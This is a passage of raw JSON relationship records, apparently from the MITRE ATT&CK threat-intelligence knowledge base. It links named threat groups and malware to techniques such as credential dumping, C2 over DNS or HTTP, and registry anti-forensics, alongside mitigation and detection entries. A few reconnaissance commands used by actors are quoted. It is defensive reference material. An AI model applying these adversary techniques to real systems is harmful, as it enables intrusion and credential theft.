2022)","modified":"2022-08-18T19:10:14.042Z","relationship_type":"uses","source_ref":"intrusion-set--129f2f77-1ab2-4c35-bd5e-21260cee92af","target_ref":"attack-pattern--16cdd21f-da65-4e4f-bc04-dd7d198c7b26","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--934be676-4444-4ab3-a411-dc9a8dc9c4bb","type":"relationship","created":"2020-02-04T12:52:13.344Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-12T18:32:33.067Z","description":"Ensure that developers and system administrators are aware of the risk associated with having plaintext passwords in software configuration files that may be left on endpoint systems or servers.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--93570192-4fb5-4d8a-98a7-1f4bb7c2b986","created":"2024-05-23T22:54:02.970Z","revoked":false,"external_references":[{"source_name":"Cadet Blizzard emerges as novel threat actor","description":"Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard emerges as a novel and distinct Russian threat actor. Retrieved July 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-23T22:54:02.970Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) modifies registry values for anti-forensics and defense evasion purposes.(Citation: Cadet Blizzard emerges as novel threat actor)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--935971d6-0af2-4683-971a-9acb523733fe","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Amplia WCE","description":"Amplia Security. (n.d.). Windows Credentials Editor (WCE) F.A.Q.. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20240904163410/https://www.ampliasecurity.com/research/wcefaq.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:17:22.004Z","description":"[Windows Credential Editor](https://attack.mitre.org/software/S0005) can dump credentials.(Citation: Amplia WCE)","relationship_type":"uses","source_ref":"tool--242f3da3-4425-4d11-8f5c-b842886da966","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--93598e52-cf96-4f8a-b4e2-3dab9aa6ddee","type":"relationship","created":"2022-01-24T17:02:47.984Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point APT35 CharmPower January 2022","url":"https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/","description":"Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022."}],"modified":"2022-01-24T17:02:47.984Z","description":"[CharmPower](https://attack.mitre.org/software/S0674) can use HTTP to communicate with C2.(Citation: Check Point APT35 CharmPower January 2022)","relationship_type":"uses","source_ref":"malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--935ca61c-b4ff-4cfc-a4e9-9b8aa9514ea3","type":"relationship","created":"2020-02-12T14:50:52.639Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-23T21:16:03.053Z","description":"Deny remote use of local admin credentials to log into systems. Do not allow domain user accounts to be in the local Administrators group multiple systems.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--935d1918-a1ea-4c46-b3b0-5c1d0f44a346","type":"relationship","created":"2020-10-09T12:50:42.914Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf","description":"FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.","source_name":"FireEye FIN6 April 2016"}],"modified":"2020-10-09T13:01:09.508Z","description":"[FrameworkPOS](https://attack.mitre.org/software/S0503) can identifiy payment card track data on the victim and copy it to a local file in a subdirectory of C:\\Windows\\.(Citation: FireEye FIN6 April 2016)","relationship_type":"uses","source_ref":"malware--1cdbbcab-903a-414d-8eb0-439a97343737","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--935f8b6e-cd74-46c4-9a74-f763b4f13955","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Trojan.Hydraq Jan 2010","description":"Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.","url":"https://www.symantec.com/connect/blogs/trojanhydraq-incident"},{"source_name":"Symantec Hydraq Jan 2010","description":"Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"}],"modified":"2020-02-18T03:48:53.696Z","description":"[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can monitor services.(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: Symantec Hydraq Jan 2010)","relationship_type":"uses","source_ref":"malware--73a4793a-ce55-4159-b2a6-208ef29b326f","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--935f9bb6-d38d-42d1-a764-6b5110ad5364","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Tick Apr 2016","description":"DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.","url":"https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan"},{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:31.912Z","description":"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has exploited Microsoft Office vulnerabilities CVE-2014-4114, CVE-2018-0802, and CVE-2018-0798 for execution.(Citation: Symantec Tick Apr 2016)(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--93642a19-cc8f-4298-9398-8d5d029fe53d","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/","description":"Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.","source_name":"Unit 42 MuddyWater Nov 2017"},{"source_name":"TrendMicro POWERSTATS V3 June 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/","description":"Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020."}],"modified":"2020-05-18T19:46:02.259Z","description":"(Citation: Unit 42 MuddyWater Nov 2017)(Citation: TrendMicro POWERSTATS V3 June 2019)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9364e09e-7c58-4fc3-8761-e21bc043363a","created":"2024-08-28T14:14:19.061Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-28T14:14:19.061Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--241f9ea8-f6ae-4f38-92f5-cef5b7e539dd","target_ref":"attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--93656c66-acfc-43b4-af66-bf328256b7b8","type":"relationship","created":"2021-03-19T21:04:01.269Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 TA551 Jan 2021","url":"https://unit42.paloaltonetworks.com/ta551-shathak-icedid/","description":"Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021."},{"source_name":"Secureworks GOLD CABIN","url":"https://www.secureworks.com/research/threat-profiles/gold-cabin","description":"Secureworks. (n.d.). GOLD CABIN Threat Profile. Retrieved March 17, 2021."}],"modified":"2021-03-19T21:04:01.269Z","description":"[TA551](https://attack.mitre.org/groups/G0127) has used a DGA to generate URLs from executed macros.(Citation: Unit 42 TA551 Jan 2021)(Citation: Secureworks GOLD CABIN)","relationship_type":"uses","source_ref":"intrusion-set--94873029-f950-4268-9cfd-5032e15cb182","target_ref":"attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9366e845-6a49-44f4-abb6-c2cada6dff5a","created":"2022-06-03T14:46:22.605Z","x_mitre_version":"0.1","external_references":[{"source_name":"SecureWorks August 2019","url":"https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign","description":"SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 "}],"x_mitre_deprecated":false,"revoked":false,"description":"[DanBot](https://attack.mitre.org/software/S1014) can use a VBA macro embedded in an Excel file to drop the payload.(Citation: SecureWorks August 2019)","modified":"2022-06-03T14:46:22.605Z","relationship_type":"uses","source_ref":"malware--b8d48deb-450c-44f6-a934-ac8765aa89cb","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--936ff38b-73f6-48fe-876f-8ebd3b60df1f","type":"relationship","created":"2021-03-23T20:49:40.194Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky ShadowPad Aug 2017","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/08/07172148/ShadowPad_technical_description_PDF.pdf","description":"Kaspersky Lab. (2017, August). ShadowPad: popular server management software hit in supply chain attack. Retrieved March 22, 2021."}],"modified":"2021-04-26T13:14:36.006Z","description":"[ShadowPad](https://attack.mitre.org/software/S0596) has used DNS tunneling for C2 communications.(Citation: Kaspersky ShadowPad Aug 2017)","relationship_type":"uses","source_ref":"malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--93730d1b-d3cb-44f1-be09-654bd2640aef","type":"relationship","created":"2022-03-30T14:26:51.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.834Z","description":"Monitor for third-party application logging, messaging, and/or other artifacts that may target resource intensive features of web applications to cause a denial of service (DoS). In addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt. Externally monitor the availability of services that may be targeted by an Endpoint DoS.","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--18cffc21-3260-437e-80e4-4ab8bf2ba5e9","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9373e1b7-3164-4879-9b92-f3a629029eb2","type":"relationship","created":"2019-09-24T13:29:29.689Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos ZxShell Oct 2014","url":"https://blogs.cisco.com/security/talos/opening-zxshell","description":"Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019."}],"modified":"2022-01-05T16:34:01.620Z","description":"[ZxShell](https://attack.mitre.org/software/S0412) can create a new service using the service parser function ProcessScCommand.(Citation: Talos ZxShell Oct 2014) ","relationship_type":"uses","source_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--93741cce-12ce-4cc0-9fa6-5db7d8a1309a","created":"2021-03-03T18:57:21.407Z","x_mitre_version":"1.0","external_references":[{"source_name":"Trend Micro Waterbear December 2019","url":"https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html","description":"Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Waterbear](https://attack.mitre.org/software/S0579) can query the Registry key \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\MSDTC\\MTxOCI\" to see if the value `OracleOcilib` exists.(Citation: Trend Micro Waterbear December 2019)","modified":"2022-04-06T14:15:49.412Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--f3f1fbed-7e29-49cb-8579-4a378f858deb","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--937519ca-6bda-4c5f-a770-1e1199555ed8","created":"2024-09-17T14:42:44.108Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-02T18:50:21.510Z","description":"Monitor network traffic for suspicious/malicious behavior involving evil twin attacks. Intrusion prevention systems (WIDS) can identify traffic patterns indicative of activity associated with evil twins, rogue access points, and adversary-in-the-middle activity.\n","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--48b836c6-e4ca-435a-82a3-29c03e5b492e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--937daf9d-0f3c-4257-85ac-86bf104453da","created":"2024-08-05T21:39:16.779Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-05T21:39:16.779Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--d349c66e-18e1-4d8b-a2d7-65af7cbd2ba0","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--93812c9c-39f1-4bf6-adda-601d0ffd88bf","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/","description":"Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.","source_name":"Palo Alto Networks BBSRAT"}],"modified":"2019-04-24T23:10:02.493Z","description":"[BBSRAT](https://attack.mitre.org/software/S0127) can delete files and directories.(Citation: Palo Alto Networks BBSRAT)","relationship_type":"uses","source_ref":"malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--93885649-e686-4496-96fc-aa901e626ca5","type":"relationship","created":"2021-09-22T20:11:08.984Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Shining A Light on DARKSIDE May 2021","url":"https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html","description":"FireEye. (2021, May 11). Shining a Light on DARKSIDE Ransomware Operations. Retrieved September 22, 2021."}],"modified":"2021-09-22T20:11:08.984Z","description":"[SMOKEDHAM](https://attack.mitre.org/software/S0649) has been delivered via malicious links in phishing emails.(Citation: FireEye Shining A Light on DARKSIDE May 2021)","relationship_type":"uses","source_ref":"malware--7e0f8b0f-716e-494d-827e-310bd6ed709e","target_ref":"attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--938a71e3-a9dc-4ad9-b1c4-b15d75967b8d","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf","description":"Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.","source_name":"Symantec W32.Duqu"}],"modified":"2019-04-24T23:18:53.182Z","description":"The discovery modules used with [Duqu](https://attack.mitre.org/software/S0038) can collect information on network connections.(Citation: Symantec W32.Duqu)","relationship_type":"uses","source_ref":"malware--68dca94f-c11d-421e-9287-7c501108e18c","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--938fe8be-be14-41a6-9db5-238866bb77ea","created":"2022-10-06T21:22:01.179Z","revoked":false,"external_references":[{"source_name":"Cybereason OperationCuckooBees May 2022","description":"Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.","url":"https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-06T21:22:01.179Z","description":"During [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012), the threat actors used the `net group` command as part of their advanced reconnaissance.(Citation: Cybereason OperationCuckooBees May 2022)","relationship_type":"uses","source_ref":"campaign--93c23946-49af-41f4-ac03-40f9ffc7419b","target_ref":"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--93900b40-be44-48eb-92bc-c171a5ce5501","created":"2022-09-26T15:02:10.629Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T15:02:10.629Z","description":"[FunnyDream](https://attack.mitre.org/software/S1044) can identify and use configured proxies in a compromised network for C2 communication.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9395c820-d828-4dea-bcde-88c4baf06440","type":"relationship","created":"2020-02-21T21:16:18.148Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-21T21:16:18.148Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--93965fb7-e50d-45c8-a0db-354ce8ee05b8","created":"2023-08-01T19:43:46.997Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"},{"source_name":"Secureworks BRONZE SILHOUETTE May 2023","description":"Counter Threat Unit Research Team. (2023, May 24). Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations. Retrieved July 27, 2023.","url":"https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations"},{"source_name":"Joint Cybersecurity Advisory Volt Typhoon June 2023","description":"NSA et al. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. Retrieved July 27, 2023.","url":"https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-21T17:57:05.313Z","description":"\n[Volt Typhoon](https://attack.mitre.org/groups/G1017) has used public tools and executed the PowerShell command `Get-EventLog security -instanceid 4624` to identify associated user and computer account names.(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)(Citation: Secureworks BRONZE SILHOUETTE May 2023)(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9399157f-4443-447f-b2e1-2227582af6e6","type":"relationship","created":"2020-03-19T23:11:54.957Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub LaZagne Dec 2018","url":"https://github.com/AlessandroZ/LaZagne","description":"Zanni, A. (n.d.). The LaZagne Project !!!. Retrieved December 14, 2018."}],"modified":"2020-03-19T23:11:54.957Z","description":"[LaZagne](https://attack.mitre.org/software/S0349) can perform credential dumping from MSCache to obtain account and password information.(Citation: GitHub LaZagne Dec 2018)","relationship_type":"uses","source_ref":"tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b","target_ref":"attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--939b7c8a-3a2a-43a7-82e2-55f3b62c15da","created":"2022-08-23T15:30:27.147Z","x_mitre_version":"0.1","external_references":[{"source_name":"Lazarus APT January 2022","url":"https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/","description":"Saini, A. and Hossein, J. (2022, January 27). North Korea’s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has used a custom hashing method to resolve APIs used in shellcode.(Citation: Lazarus APT January 